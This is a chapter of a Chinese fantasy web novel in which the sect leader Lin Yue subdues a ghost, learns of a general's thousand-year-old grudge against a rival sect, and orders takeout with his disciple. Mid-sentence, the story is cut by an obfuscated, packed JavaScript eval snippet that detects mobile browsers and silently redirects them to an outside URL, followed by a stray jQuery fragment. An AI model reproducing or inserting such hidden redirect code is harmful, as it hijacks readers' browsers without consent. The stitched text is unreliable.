“栯栯,去找地方躲好。”
天色骤变,附近暗下来。
煞气太浓,已经成了有实体的黑雾,沉甸甸地压下来。
林樾别开脸,等眼睛适应了黑暗的环境,一双枯白的手从底下抓上来,指甲又黑又长,直直扣向他的脚踝。
他没低头。
两指一夹,捏了道符箓还带着火,顷刻间朝厉鬼飞去,黄光一闪。
林樾唇口轻启,“破。”
枯手炸开,湮灭成灰烬。
四周忽然变亮,是符箓燃尽前最后那点光,在角角落落里滑了一圈。
于是黑雾掩盖的景色都能看清了,荒芜的街道,零散飘落的纸钱,堆积的白骨,以及长身玉立的林樾。
角落里,初栯的目光钉在了那。
——找到师尊了。
刚刚那只厉鬼是个试探,幻境里的邪祟头头似乎并不想伤害他们。
林樾往前一步,就有道扭曲的黑影拦路,看过去时,模糊的面容也捕捉不到,但鬼影身形消瘦,身上一连好几个黑窟窿,却能一眼看出他的身份。
毕竟就在不久前,过去发生的事情走马观花地播放了一遍,而记忆的主人身体被利器贯穿了。
林樾瞥了眼擦过地面的鬼影,脚尖轻踩地面往后退,在半空中翻身的同时,又捏了一道符丢过去。
噼里啪啦噼里啪啦,像放烟花。
他现在手里没有武器,行动处处受限,只能跟打地鼠的锤子一样,满地跳来跳去,看见鬼影就捏符箓丢下去。
丢符箓的速度很快,寻常的鬼根本躲闪不开,只能匍匐着地面乱爬,没一会儿,厉鬼版东娄当成武器的长指甲就被地面磨平了。
东娄呲牙吼了一嗓子,不知道从哪摸来一把菜刀,追着林樾砍过去。
观战的初栯连忙从地上捡了把长枪,朝着林樾丢过去。
“师尊,接好。”
林樾回头看了眼,“好。”
恰菜刀的冷光贴过,林樾侧过身去躲,轻巧地跳起接住长枪。
枪柄被牢牢握在林樾手里,一丈余长的枪身在半空中颤了颤。
林樾腾空而起,在空中翻了个身,头朝下,朝上的脚尖踩了下枪身,借着这力回到地面。
他手腕一翻,枪身顺势转了个圈,带起一道疾风。
脚尖落地时,枪尖已经压了下来。
林樾握着枪柄中段,往前一送,枪身贴着地面横扫出去,扫到一半,林樾手腕再翻,枪尖猛地挑起。
“呼”的一声,火光从地面炸开。
不是一堆小小的火星,是长长的一道,贴着地皮往前蹿,蹿出三丈远,把那些飘在半空的黑影逼得往后退。
枪尖抵到鬼影额前的时候,还在嗡嗡颤着。林樾的目光慢一步落过去。
“现在,可以好好谈谈了吗?”
东娄默不作声,举高的菜刀在一人一鬼的注视下碎成了两半。
……
“林宗主,实在抱歉。”
幻境里的街道被林樾的火烧了一圈,乱七八糟的,看不出原本的样子。
东娄指使几个小鬼收拾了好久,才勉强收拾出一块干净的地。
没有茶水,没有糕点,没有饭菜,这样面对面坐着,林樾觉得很干巴。
加上运动出了汗,衣服黏在身上很难受,林樾卷起袖子给自己扇风,“抱歉的话不用说,送我们出去。”
东娄低下头,“抱歉,不行。”
林樾懒懒掀开眼皮看了他一眼。
“林宗主刚刚也看到了那些,虽然说过去了千年,但心中仇恨难减,将军想寻仇,我便要在这里拦住你们。”
东娄起身,朝林樾鞠了躬,“我知道自己修为低微,拦不了林宗主太久,但能拦一刻是一刻。”
“你想多了。”林樾说。
东娄疑惑抬头。
林樾的手轻轻搭在桌上,“你一刻也拦不住我。”
话落,狂风骤起,肆意揉搓着脆弱的幻境,没一会儿,就成了皱纸团般。
初栯扭头看着在发光的林樾,开口问东娄,“向谁寻仇?”
“向…”东娄又沉默了。
向谁呢?
杀害将军的人早死了。
灭越国的人也早死了。
一千年过去,骨头都化了灰。
林樾说:“仇恨难减,郁结于心,久而久之就成魔,要是周川真杀了那些人的后人,业障难消。”
东娄抓住了自己破烂的衣角。
“你只有一次机会…”林樾缓缓说。
东娄猛地抬起头,“我说。”
林樾和初栯坐端正,挨到了一起。
“林宗主也知道,那片孤岛曾经是越国与北羌最后一战的旧战场道汌。”
林樾点头。
“就在前不久,岛屿外几座山忽然邪祟之气大涨,刺激了将军。”
东娄声音轻下来,“原都是故人,将军旧部,被那段记忆折磨了数年,言行举止已大有不同,将军清醒后不忍看到他们如此,便想去找当年战败可有别的隐情,于是逼自己回忆那段往事。”
“不知什么原因…”东娄看了眼初栯,“把初公子牵扯了进来。”
林樾:“可在幻境里,没有提到千年前那场战役。”
“提到的。”
东娄欲言又止,说得模棱两可,“那个时候林宗主和初公子在忙,将军自然不愿伤人,匆匆回忆一番,便出来了。”
林樾:“。”
林樾:“有回忆起什么?”
东娄缓缓摇头,“没有。”
“将军是统帅,一直坐镇中军,但那时战事紧急,在道汌之战时就做了先锋官,敌人偷袭后方,将军全然不知,援军迟了半月,这才败了。”
林樾皱眉,“然后呢?”
“然后…”
东娄脸色愈发惨白,“在回忆里没找到什么,将军打算回山上,可突然接到了一通电话。”
“电话里,那个人告诉将军,援军迟来,是有人勾结外敌。”
“是谁?”林樾问。
“是当年越国的宰相韦春,明明是大奸大恶之人,却积了运,子孙绵延至今,还建了个大宗门。”
“大宗门?”林樾声音拉长。
“林宗主认得的,是无极门。”
说到这里,心里没了秘密,东娄强撑的身体忽然就放松下来,卸力倒在桌上,“将军领着他的亲卫去寻仇了。”
林樾闻言起身,伸出手,一道符打在东娄身上,“我回来前不要离开。”
符光把蜷缩起身体的东娄围起来,他朝林樾轻声说了句,“多谢”。
……
“有古怪。”出幻境后,初栯说出的第一句话就是这个。
林樾从袖子里翻出自己的折扇,展开扇起风,心里舒坦不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340487|199301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少,“说说。”
“东娄先生不会说谎的。”
“到现在还说谎,不道德了。”
初栯点头,“师尊和我说过,下山是为了去找发疯的周将军,他打伤了三长老,还在山脚打伤了大长老。”
林樾:“对。”
“如果东娄没有撒谎,周将军那时候没有发疯,那是山上有人说了慌。不过不管疯没疯,肯定另有隐情。”
林樾叹了声气,脚步轻飘飘地往前飘,“宗门里有叛徒了啊…”
初栯走上前拉他的袖角,“师尊。”
“栯栯你继续说。”
“那通电话。”
林樾认可地点头。
电话,竟然是打电话,时代在发展,阴谋诡计都显得那么朴实无华。
“师尊,我说完了。”
林樾顺势夸了句,“栯栯真棒。”
见林樾依旧慢吞吞地往前挪,初栯眨了下眼,“我们不去无极门吗?”
“不着急不着急,你的毒不是还没解?”林樾回头看了他一眼。
“我…”
初栯刹住脚,支支吾吾。
他的毒…
初栯轻咳声,不停把袖子往下扯,遮住愈合差不多的伤口。
“师尊,我没有大碍。”
“那怎么行,我先把你送回家,再赶去无极门凑凑热闹。”
初栯咽了咽口水,脚步更慢。
前面,林樾掏出手机看了眼,何幸发给他的消息已经加载出来了。
AAA大王古物店:找到周川了。
林樾露出笑。
一切尽在他的掌控中。
可喜可贺,忙活了那么久,得点个外卖好好犒劳自己。
林樾的手指一滑,一不小心就点开了某黄色外卖软件,在这个鸟不拉屎的定位地址,配送费达到了惊人的三十四,他纠结了一会儿,还是打开了自己常点的那家外卖店。
老朋友,就是他的老朋友。
“栯栯,你身上还疼吗?”
林樾一转身,见初栯杵在树边一动不动,以为他毒发了难受,连走过去把起他的脉。
他算得上半个中医。
这个脉象…无比平和有劲。
“嗯?”林樾打量起他发白的脸。
“师尊,你之前给我按的穴位有用,我现在真的已经好多了。”
可以去无极宗了。
“不急。”林樾又说了这两个字。
他把手机屏幕递到初栯面前,“忙这么久是不是饿了,我们点烧烤吃。”
“师尊,我…”
林樾又自顾自说:“得多点点。”
何幸那家伙肯定要来蹭饭。
“栯栯,你体内还有余毒,不能吃辛辣的东西,我给你点碗虾仁馅的馄饨。”
初栯低着头跟上他的影子。
唉…
“十全十美拼盘寿司,是新品,点个尝尝看,还有…”
两人都低头走着。
手机屏幕的光忽然照亮一片影子。
林樾抬眸看去。
来人穿着三清宗的工服,很难得地扣上了胸前的扣子。
不是陆文林还能是谁?
“宗主,无极门有变,您快去瞧瞧,我送初栯回山就好。”
林樾目光迟疑,正想出声拒绝,掌心给初栯挠了下。
“也好。”林樾说。